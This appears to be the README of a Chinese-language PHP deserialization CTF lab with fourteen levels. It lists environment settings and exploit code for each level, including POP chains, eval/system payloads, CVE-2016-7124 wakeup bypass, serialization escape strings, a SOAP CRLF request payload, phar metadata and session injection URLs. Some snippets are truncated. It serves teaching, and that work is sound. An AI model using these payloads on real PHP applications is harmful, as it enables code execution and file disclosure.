├── README.md
├── level1
├── flag.php
└── index.php
├── level10
├── flag.php
└── index.php
├── level11
├── flag.php
├── index.php
└── upload.php
├── level12
├── flag.php
├── index.php
├── upload.php
└── upload
│ └── phar1.png
├── level13
├── flag.php
├── hint.php
└── index.php
├── level14
├── flag.php
└── index.php
├── level2
├── flag.php
└── index.php
├── level3
├── flag.php
└── index.php
├── level4
├── flag.php
└── index.php
├── level5
├── flag.php
└── index.php
├── level6
├── flag.php
└── index.php
├── level7
├── flag.php
└── index.php
├── level8
├── flag.php
└── index.php
├── level9
├── flag.php
└── index.php
└── pic
├── image-20220131204258921.png
├── image-20220205105027434.png
├── image-20220208202613945.png
├── image-20220212192425222.png
├── image-20220212192433656.png
├── image-20220212192454775.png
├── image-20220217103937584.png
├── image-20220221092905715.png
├── image-20220221100925190.png
└── image-20220311065409439.png
/README.md:
--------------------------------------------------------------------------------
1 | # 一,说明
2 |
3 | 在学习反序列漏洞的道路中,最首要的就是掌握类和对象的基础知识,懂得php的基本语法。本项目关卡由易至难,建议广大萌新们全部掌握。小白技术一般,还请广大黑客朋友们见谅~~~
4 |
5 | 本着分享学习的目的,本人仅提供exp,并不提供完整的wp,绝对不是太懒的原因~~~
6 |
7 | 以下内容 或来自提取的CTF考点,或来自个人的理解与整合,均不涉及原题。如有错误,还请见谅~~
8 |
9 | # 二,环境
10 |
11 | ## 1说明
12 |
13 | 通过PHPstudy,搭建简易wamp环境。
14 |
15 | ## 2要求
16 |
17 | 请根据表格内容自行更换及安装php版本和扩展(若无要求,自行斟酌)。
18 |
19 | 不会吧,不会吧,不会真有人配了个php<=5.0版本的然后说环境搭不起来吧。
20 |
21 | | 关卡 | 不适用其他版本的原因以及相关设置 |
22 | | :------------------------------------- | :----------------------------------------------------------- |
23 | | level4 create_fucntion与可变函数调用 | 5.6不支持可变函数,7.2已废除create_function |
24 | | level5 序列化格式过滤与CVE-2016-7124 | CVE-2016-7124漏洞影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10 |
25 | | level6 私有属性反序列化 | escaped binary string(仅从php6开始支持) |
26 | | level7 __call与属性的初始值 | 同上 |
27 | | level10 just_one_soap | 需要开启soap扩展(php5.6:extension=php_soap) |
28 | | level11 a phar 和 level12 a phar trick | php.ini中phar.readonly=Off(若有分号则去掉) |
29 | | level13 引用和session | session.auto_start=0;
session.serialize_handler = php;(level13均为默认设置) |
30 | | leve14 session.upload_progress | session.auto_start=0;
session.serialize_handler = php_serialize;
session.upload_progress.enabled = On;
session.upload_progress.cleanup = Off;
session.upload_progress.prefix = "upload_progress_";
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS";
session.upload_progress.freq = "1%";
session.upload_progress.min_freq = "1"; |
31 |
32 |
33 |
34 |
35 |
36 | # 三,wp
37 |
38 | **level1 类的实例化**
39 |
40 | ```php
41 | act);
46 | }
47 | }
48 | $a=new a();
49 | $a->act="show_source('flag.php');";
50 | $a->action();
51 | echo serialize($a);
52 | ?>
53 | ```
54 |
55 |
56 |
57 | **level2 login**
58 |
59 | ```php
60 | user=$user;
67 | $this->pass=$pass;
68 | }
69 | function login(){
70 | if ($this->user=="daydream" and $this->pass=="ok"){
71 | return 1;
72 | }
73 | }
74 | }
75 | $a=new mylogin('daydream','ok');
76 | if($a->login())
77 | {
78 | echo 'flag'."\n";
79 | }
80 | echo serialize($a);
81 | ?>
82 | ```
83 |
84 |
85 |
86 | **level3 relogin**
87 |
88 | ```php
89 | echo urlencode(serialize($a));
90 | ```
91 |
92 | url编码后,抓包修改发送即可。以下截图为重放攻击。
93 |
94 | 
95 |
96 |
97 |
98 | **level4 create_fucntion与可变函数调用**
99 |
100 | 注意:两个类实例化调用属性的顺序。
101 |
102 | ```php
103 | key)();
111 | }
112 | }
113 |
114 | class GetFlag
115 | {
116 | public $code;
117 | public $action;
118 | public function get_flag(){
119 | $a=$this->action;
120 | $a('', $this->code);
121 | }
122 | }
123 | $a1=new func();
124 | $b=new GetFlag();
125 | $b->code='}include("flag.php");echo $flag;//';
126 | $b->action="create_function";
127 | $a1->key=serialize(array($b,"get_flag"));
128 | echo serialize($a1);
129 | ?>
130 | ```
131 |
132 | **level5 序列化格式过滤与CVE-2016-7124**
133 |
134 | ```php
135 | file=$file;
141 | echo $flag;
142 | }
143 |
144 | function __destruct(){
145 | include_once($this->file);
146 | }
147 |
148 | function __wakeup(){
149 | $this->file='index.php';
150 | }
151 | }
152 | $pa=new secret('flag.php');
153 | echo serialize($pa),"\n";//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
154 | $cmd=urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
155 | echo $cmd;
156 | ?>
157 | ```
158 |
159 | **level6 私有属性反序列化**
160 |
161 | ```php
162 | comm = $com;
167 | }
168 | function __destruct(){
169 | echo eval($this->comm);
170 | }
171 | }
172 | $pa=new secret("system('type flag.php');");
173 | echo serialize($pa),"\n";
174 | //O:6:"secret":1:{s:12:" secret comm";s:24:"system('type flag.php');";}
175 | //O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"system('type flag.php');";}
176 | ?>
177 | ```
178 |
179 | 
180 |
181 | **level7 __call与属性的初始值**
182 |
183 | ```php
184 | body=new my();
191 | $this->pro='yourname';
192 | }
193 | function __destruct()
194 | {
195 | $project=$this->pro;
196 | $this->body->$project();
197 | }
198 | }
199 |
200 | class my
201 | {
202 | public $name='myname';
203 |
204 | function __call($func, $args)
205 | {
206 | if ($func == 'yourname' and $this->name == 'myname') {
207 | include('flag.php');
208 | echo $flag;
209 | }
210 | }
211 | }
212 | $p=new you();
213 | echo serialize($p);
214 | //大写S
215 | //O:3:"you":2:{S:9:"\00you\00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"\00you\00pro";s:8:"yourname";}
216 | ?>
217 | ```
218 |
219 | **level8 反序列化增逃逸**
220 |
221 | ```php
222 | user=$user;
234 | }
235 | }
236 | $a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
237 | //$a=new test('1'); O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}
238 | //逃逸内容:
239 | //";s:4:"pass";s:8:"escaping";}
240 | //计算需要链:
241 | //phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
242 | $param=serialize($a);
243 | echo $param,"\n";
244 |
245 | $profile=unserialize(filter($param));
246 | echo $profile->pass,"\n";
247 | if ($profile->pass=='escaping'){
248 | echo 1;
249 | }
250 | ?>
251 | ```
252 |
253 | ```
254 | O:4:"test":2:{s:4:"user";s:116:"phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}
255 | ```
256 |
257 | 
258 |
259 | **leve9 ezpop**
260 |
261 | ```php
262 | append($this->var);
273 | }
274 | }
275 |
276 | class Show{
277 | public $source;
278 | public $str;
279 | public function __toString(){
280 | return $this->str->source;
281 | }
282 | public function __wakeup(){
283 | echo $this->source;
284 | }
285 | }
286 |
287 | class Test{
288 | public $p;
289 | public function __construct(){
290 | $this->p = array();
291 | }
292 |
293 | public function __get($key){
294 | $function = $this->p;
295 | return $function();
296 | }
297 | }
298 |
299 | $a=new Modifier();
300 | $b=new Show();
301 | $c=new Test();
302 |
303 | $b->source=$b;
304 | $b->source->str=$c;
305 | $c->p=$a;
306 | echo "\n";
307 | echo urlencode(serialize($b));
308 | ```
309 |
310 | **level10 just_one_soap**
311 |
312 | soap数据包测试方法:将loaction更改为监听ip和端口即可(注意:该包是index.php”发出“的)。
313 |
314 | 下图实例(公网ip测试):
315 |
316 | ```php
317 | 'http://shiyan/SER/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
321 | $b = serialize($a);
322 | $b = str_replace('^^',"\r\n",$b);
323 | $b = str_replace('&','&',$b);
324 | echo urlencode($b);
325 | ```
326 |
327 | **level11 a phar**
328 |
329 | ```php
330 | startBuffering();
337 | $phar->setStub("GIF89a"."");
338 | $o = new TestObject();
339 | $phar->setMetadata($o);
340 | $phar->addFromString("test.txt", "test");
341 | $phar->stopBuffering();
342 | ?>
343 | ```
344 |
345 | 
346 |
347 | **level12 a phar trick**
348 |
349 | 
350 |
351 | **level13 引用和session**
352 |
353 | ```php
354 | name=$this->her=md5(rand(1, 10000));
361 | if ($this->name===$this->her){
362 | include('flag.php');
363 | echo $flag;
364 | }
365 | }
366 | }
367 | $b=new Flag();
368 | $b->her=&$b->name;
369 | echo serialize($b);
370 |
371 | ?>
372 | ```
373 |
374 |
375 |
376 | `url/hint.php?a=|O:4:%22Flag%22:2:{s:4:%22name%22;N;s:3:%22her%22;R:2;}`
377 |
378 | 再访问index.php
379 |
380 | **leve14 session.upload_progress**
381 |
382 | 特此注明:有关这道题其实还可以设置session.upload_cleanup = Off,然后考条件竞争,但是此方式与upload类相关漏洞过于相似,此项目就不设置其作为关卡了,感兴趣的朋友可以自行设置游玩。
383 |
384 | exp
385 |
386 | ```php
387 | name=='flag'){
392 | include('flag.php');
393 | echo $flag;
394 | }
395 | else{
396 | phpinfo();
397 | }
398 | }
399 | }
400 | $a=new test();
401 | $a->name='flag';
402 | echo serialize($a);
403 | ```
404 |
405 | `|O:4:\"test\":1:{s:4:\"name\";s:4:\"flag\";}`
406 |
407 | test.html
408 |
409 |
410 |